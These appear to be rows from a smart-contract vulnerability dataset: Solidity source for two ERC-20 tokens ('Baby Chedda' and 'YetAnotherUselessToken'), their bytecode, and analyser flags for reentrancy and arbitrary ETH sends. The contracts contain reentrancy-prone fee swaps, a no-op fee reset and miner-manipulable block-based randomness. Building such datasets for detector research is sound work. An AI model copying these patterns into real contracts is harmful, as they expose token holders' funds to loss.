|
/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
pragma solidity ^0.8.4;
//SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Babychedda is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Chedda";
string private constant _symbol = "BCHEDDA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _teamFee = 8;
address payable private _marketingWalletAddress;
address payable public _buyBackWalletAddress;
address payable public _devWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingWalletAddress, address payable buyBackWalletAddress, address payable devWalletAddress) {
_marketingWalletAddress = marketingWalletAddress;
_buyBackWalletAddress = buyBackWalletAddress;
_devWalletAddress = devWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
_isExcludedFromFee[_buyBackWalletAddress] = true;
_isExcludedFromFee[_devWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_teamFee = 8;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee;
uint256 contractTokenBalance = balanceOf(address(this));
if (from != owner() && to != owner()) {
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
uint256 baseAmount = amount.div(2);
_marketingWalletAddress.transfer(baseAmount.div(2));
_buyBackWalletAddress.transfer(baseAmount.div(2));
_devWalletAddress.transfer(baseAmount);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function recoverETH() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102c2578063b425bac3146102e2578063dd62ed3e14610302578063e8078d941461034857600080fd5b806370a082311461023f578063715018a61461025f5780638da5cb5b1461027457806395d89b411461029257600080fd5b806323b872dd116100c657806323b872dd146101b6578063277e0ab9146101d6578063313ce5671461020e57806351bc3c851461022a57600080fd5b80630614117a1461010357806306fdde031461011a578063095ea7b31461016057806318160ddd1461019057600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5061011861035d565b005b34801561012657600080fd5b5060408051808201909152600b81526a426162792043686564646160a81b60208201525b6040516101579190611501565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004611489565b61039d565b6040519015158152602001610157565b34801561019c57600080fd5b5068056bc75e2d631000005b604051908152602001610157565b3480156101c257600080fd5b506101806101d1366004611449565b6103b4565b3480156101e257600080fd5b50600b546101f6906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b34801561021a57600080fd5b5060405160098152602001610157565b34801561023657600080fd5b5061011861041d565b34801561024b57600080fd5b506101a861025a3660046113d9565b61045d565b34801561026b57600080fd5b5061011861047f565b34801561028057600080fd5b506000546001600160a01b03166101f6565b34801561029e57600080fd5b506040805180820190915260078152664243484544444160c81b602082015261014a565b3480156102ce57600080fd5b506101806102dd366004611489565b6104f3565b3480156102ee57600080fd5b50600c546101f6906001600160a01b031681565b34801561030e57600080fd5b506101a861031d366004611411565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561035457600080fd5b50610118610500565b6000546001600160a01b031633146103905760405162461bcd60e51b815260040161038790611554565b60405180910390fd5b4761039a8161085f565b50565b60006103aa338484610934565b5060015b92915050565b60006103c1848484610a58565b610413843361040e85604051806060016040528060288152602001611693602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ccb565b610934565b5060019392505050565b6000546001600160a01b031633146104475760405162461bcd60e51b815260040161038790611554565b60006104523061045d565b905061039a81610d05565b6001600160a01b0381166000908152600260205260408120546103ae90610eaa565b6000546001600160a01b031633146104a95760405162461bcd60e51b815260040161038790611554565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103aa338484610a58565b6000546001600160a01b0316331461052a5760405162461bcd60e51b815260040161038790611554565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610567308268056bc75e2d63100000610934565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105a057600080fd5b505afa1580156105b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d891906113f5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561062057600080fd5b505afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065891906113f5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106a057600080fd5b505af11580156106b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d891906113f5565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306107088161045d565b60008061071d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561078057600080fd5b505af1158015610794573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107b991906114d4565b5050600e805462ff00ff60a01b1981166201000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561082357600080fd5b505af1158015610837573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085b91906114b4565b5050565b600061086c826002610f2e565b600a549091506001600160a01b03166108fc610889836002610f2e565b6040518115909202916000818181858888f193505050501580156108b1573d6000803e3d6000fd5b50600b546001600160a01b03166108fc6108cc836002610f2e565b6040518115909202916000818181858888f193505050501580156108f4573d6000803e3d6000fd5b50600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092f573d6000803e3d6000fd5b505050565b6001600160a01b0383166109965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610387565b6001600160a01b0382166109f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610387565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610abc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610387565b6001600160a01b038216610b1e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610387565b60008111610b805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610387565b600080610b8c3061045d565b9050610ba06000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bcf57506000546001600160a01b03858116911614155b15610c6b57600e54600160a81b900460ff16158015610bfb5750600e546001600160a01b038581169116145b8015610c105750600e54600160b01b900460ff165b15610c6b57600e54610c4490606490610c3e90600390610c38906001600160a01b031661045d565b90610f70565b90610f2e565b831115610c5057600080fd5b610c5981610d05565b478015610c6957610c694761085f565b505b6001600160a01b0385166000908152600560205260409020546001925060ff1680610cae57506001600160a01b03841660009081526005602052604090205460ff165b15610cb857600091505b610cc485858585610fef565b5050505050565b60008184841115610cef5760405162461bcd60e51b81526004016103879190611501565b506000610cfc8486611650565b95945050505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610daf57600080fd5b505afa158015610dc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de791906113f5565b81600181518110610e0857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d54610e2e9130911684610934565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e67908590600090869030904290600401611589565b600060405180830381600087803b158015610e8157600080fd5b505af1158015610e95573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000600654821115610f115760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610387565b6000610f1b611021565b9050610f278382610f2e565b9392505050565b6000610f2783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611044565b600082610f7f575060006103ae565b6000610f8b8385611631565b905082610f988583611611565b14610f275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610387565b80610ffc57610ffc611072565b611007848484611095565b8061101b5761101b60046008908155600955565b50505050565b600080600061102e61118c565b909250905061103d8282610f2e565b9250505090565b600081836110655760405162461bcd60e51b81526004016103879190611501565b506000610cfc8486611611565b6008541580156110825750600954155b1561108957565b60006008819055600955565b6000806000806000806110a7876111ce565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110d9908761122b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611108908661126d565b6001600160a01b03891660009081526002602052604090205561112a816112cc565b6111348483611316565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161117991815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006111a88282610f2e565b8210156111c55750506006549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006111eb8a60085460095461133a565b92509250925060006111fb611021565b9050600080600061120e8e878787611389565b919e509c509a509598509396509194505050505091939550919395565b6000610f2783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ccb565b60008061127a83856115f9565b905083811015610f275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610387565b60006112d6611021565b905060006112e48383610f70565b30600090815260026020526040902054909150611301908261126d565b30600090815260026020526040902055505050565b600654611323908361122b565b600655600754611333908261126d565b6007555050565b600080808061134e6064610c3e8989610f70565b905060006113616064610c3e8a89610f70565b90506000611379826113738b8661122b565b9061122b565b9992985090965090945050505050565b60008080806113988886610f70565b905060006113a68887610f70565b905060006113b48888610f70565b905060006113c682611373868661122b565b939b939a50919850919650505050505050565b6000602082840312156113ea578081fd5b8135610f278161167d565b600060208284031215611406578081fd5b8151610f278161167d565b60008060408385031215611423578081fd5b823561142e8161167d565b9150602083013561143e8161167d565b809150509250929050565b60008060006060848603121561145d578081fd5b83356114688161167d565b925060208401356114788161167d565b929592945050506040919091013590565b6000806040838503121561149b578182fd5b82356114a68161167d565b946020939093013593505050565b6000602082840312156114c5578081fd5b81518015158114610f27578182fd5b6000806000606084860312156114e8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561152d57858101830151858201604001528201611511565b8181111561153e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156115d85784516001600160a01b0316835293830193918301916001016115b3565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561160c5761160c611667565b500190565b60008261162c57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561164b5761164b611667565b500290565b60008282101561166257611662611667565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461039a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122009cbaed5cc9905715a592a865df1b7acb6a8220f1d34d409ec1fab881fc1a85264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,027 |
0xaeacd1121acdc228579d2c65dc6a8f28b24a5d98
|
pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
//
// Symbol : YUC
// Name : Yet Another Useless Coin
// Total supply: 10^7
// Decimals : 10
//
// Enjoy.
//
// (c) With reference to Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract YetAnotherUselessToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint256 public decimals;
uint256 public _totalSupply;
bool public purchasingAllowed;
uint256 public totalContribution;
uint256 public totalIssued;
uint256 public totalBonusTokensIssued;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "YUC";
name = "YetAnotherUselessToken";
decimals = 10;
_totalSupply = 10000000;
balances[owner] = _totalSupply * (10 ** decimals);
purchasingAllowed = false;
totalContribution = 0;
totalIssued = 0;
totalBonusTokensIssued = 0;
emit Transfer(address(0), owner, _totalSupply * (10 ** decimals));
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint256) {
return _totalSupply * (10 ** decimals) - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// purchasingAllowed
// ------------------------------------------------------------------------
function purchasingAllowed() public constant returns (bool) {
return purchasingAllowed;
}
function enablePurchasing() public onlyOwner {
purchasingAllowed = true;
}
function disablePurchasing() public onlyOwner {
purchasingAllowed = false;
}
// ------------------------------------------------------------------------
// Interface to the web app.
// Its Keccak-256 hash value is 0xc59d4847
// ------------------------------------------------------------------------
function getStats() constant public returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalIssued, totalBonusTokensIssued, purchasingAllowed);
}
// -----------------------------------------------------------------------
// Accept ETH
// ------------------------------------------------------------------------
function() public payable {
if (!purchasingAllowed) { revert(); }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
// issue the token
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint256 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalIssued += tokensIssued;
balances[msg.sender] += tokensIssued * (10 ** decimals);
balances[owner] -= tokensIssued * (10 ** decimals);
emit Transfer(owner, msg.sender, tokensIssued * (10 ** decimals));
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610a2c578063095ea7b314610abc5780630dcf4b8f14610b2157806318160ddd14610b4c57806323b872dd14610b77578063313ce56714610bfc5780633eaaf86b14610c2757806364acdb7714610c5257806370a0823114610c6957806379ba509714610cc05780638da5cb5b14610cd75780638f58099614610d2e57806395d89b4114610d4557806398b01fe314610dd5578063a293d1e814610e00578063a9059cbb14610e4b578063b5931f7c14610eb0578063c59d484714610efb578063cae9ca5114610f3f578063d05c78da14610fea578063d4ee1d9014611035578063da040c0f1461108c578063dc39d06d146110bb578063dd62ed3e14611120578063e6cb901314611197578063f2fde38b146111e2578063f5be319314611225575b600080600080600660009054906101000a900460ff16151561018057600080fd5b600034141561018e57610a26565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156101f5573d6000803e3d6000fd5b5034600760008282540192505081905550606434029350662386f26fc10000341015156108bf576003414342604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140183815260200182815260200193505050506020604051808303816000865af1158015610296573d6000803e3d6000fd5b505050604051516c0100000000000000000000000002925060007f0100000000000000000000000000000000000000000000000000000000000000028360006014811015156102e157fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156108be5760007f01000000000000000000000000000000000000000000000000000000000000000260807f01000000000000000000000000000000000000000000000000000000000000000284600160148110151561038357fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156103d65760006103d9565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260407f01000000000000000000000000000000000000000000000000000000000000000285600160148110151561043057fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610483576000610486565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260207f0100000000000000000000000000000000000000000000000000000000000000028660016014811015156104dd57fe5b1a7f0100000000000000000000000000000000000000000000000000000000000